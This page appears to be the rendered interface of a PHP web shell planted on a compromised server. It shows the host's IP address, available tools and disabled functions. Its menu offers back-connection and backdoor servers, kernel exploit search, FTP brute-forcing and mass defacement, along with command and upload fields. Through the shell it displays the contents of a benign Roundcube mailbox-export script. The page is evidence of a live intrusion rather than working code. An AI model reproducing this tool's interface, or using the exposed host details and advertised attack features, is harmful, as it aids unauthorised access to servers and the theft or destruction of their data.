IP Address: 80.252.133.24:443 You: 216.73.216.49
| |||||||||||||||||||
|
| ||||||||||||||||||
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON | |||||||||||||||||||
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, | |||||||||||||||||||
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ] |
|||||||||||||||||||
| |||||||||||||||||||
/ http/ mail/ bin/ - drwxr-xr-x |
Viewing file:
Select action/file-type: #!/usr/bin/env php <?php define('INSTALL_PATH', realpath(dirname(__FILE__) . '/..') . '/' ); ini_set('memory_limit', -1); require_once INSTALL_PATH.'program/include/clisetup.php'; function print_usage() { print "Usage: msgexport -h imap-host -u user-name -m mailbox name\n"; print "--host IMAP host\n"; print "--user IMAP user name\n"; print "--mbox Folder name, set to '*' for all\n"; print "--file Output file\n"; } function vputs($str) { $out = $GLOBALS['args']['file'] ? STDOUT : STDERR; fwrite($out, $str); } function progress_update($pos, $max) { $percent = round(100 * $pos / $max); vputs(sprintf("%3d%% [%-51s] %d/%d\033[K\r", $percent, @str_repeat('=', $percent / 2) . '>', $pos, $max)); } function export_mailbox($mbox, $filename) { global $IMAP; $IMAP->set_folder($mbox); $index = $IMAP->index($mbox, null, 'ASC'); $count = $index->count(); $index = $index->get(); vputs("Getting message list of {$mbox}..."); vputs("$count messages\n"); if ($filename) { if (!($out = fopen($filename, 'w'))) { vputs("Cannot write to output file\n"); return; } vputs("Writing to $filename\n"); } else $out = STDOUT; for ($i = 0; $i < $count; $i++) { $headers = $IMAP->get_message_headers($index[$i]); $from = current(rcube_mime::decode_address_list($headers->from, 1, false)); fwrite($out, sprintf("From %s %s UID %d\n", $from['mailto'], $headers->date, $headers->uid)); $IMAP->get_raw_body($headers->uid, $out); fwrite($out, "\n\n\n"); progress_update($i+1, $count); } vputs("\ncomplete.\n"); if ($filename) fclose($out); } // get arguments $opts = array('h' => 'host', 'u' => 'user', 'p' => 'pass', 'm' => 'mbox', 'f' => 'file'); $args = rcube_utils::get_opt($opts) + array('host' => 'localhost', 'mbox' => 'INBOX'); if ($_SERVER['argv'][1] == 'help') { print_usage(); exit; } else if (!$args['host']) { vputs("Missing required parameters.\n"); print_usage(); exit; } // prompt for username if not set if (empty($args['user'])) { vputs("IMAP user: "); $args['user'] = trim(fgets(STDIN)); } // prompt for password $args['pass'] = rcube_utils::prompt_silent("Password: "); // parse $host URL $a_host = parse_url($args['host']); if ($a_host['host']) { $host = $a_host['host']; $imap_ssl = (isset($a_host['scheme']) && in_array($a_host['scheme'], array('ssl','imaps','tls'))) ? TRUE : FALSE; $imap_port = isset($a_host['port']) ? $a_host['port'] : ($imap_ssl ? 993 : 143); } else { $host = $args['host']; $imap_port = 143; } // instantiate IMAP class $IMAP = new rcube_imap(null); // try to connect to IMAP server if ($IMAP->connect($host, $args['user'], $args['pass'], $imap_port, $imap_ssl)) { vputs("IMAP login successful.\n"); $filename = null; $mailboxes = $args['mbox'] == '*' ? $IMAP->list_folders(null) : array($args['mbox']); foreach ($mailboxes as $mbox) { if ($args['file']) $filename = preg_replace('/\.[a-z0-9]{3,4}$/i', '', $args['file']) . asciiwords($mbox) . '.mbox'; else if ($args['mbox'] == '*') $filename = asciiwords($mbox) . '.mbox'; if ($args['mbox'] == '*' && in_array(strtolower($mbox), array('junk','spam','trash'))) continue; export_mailbox($mbox, $filename); } } else { vputs("IMAP login failed.\n"); } ?> |
Command: | |
Quick Commands: | |
Upload: | |
PHP Filesystem: |
<@ Ú |
Search File: | |
Create File: | |
View File: | |
Mass Defacement: |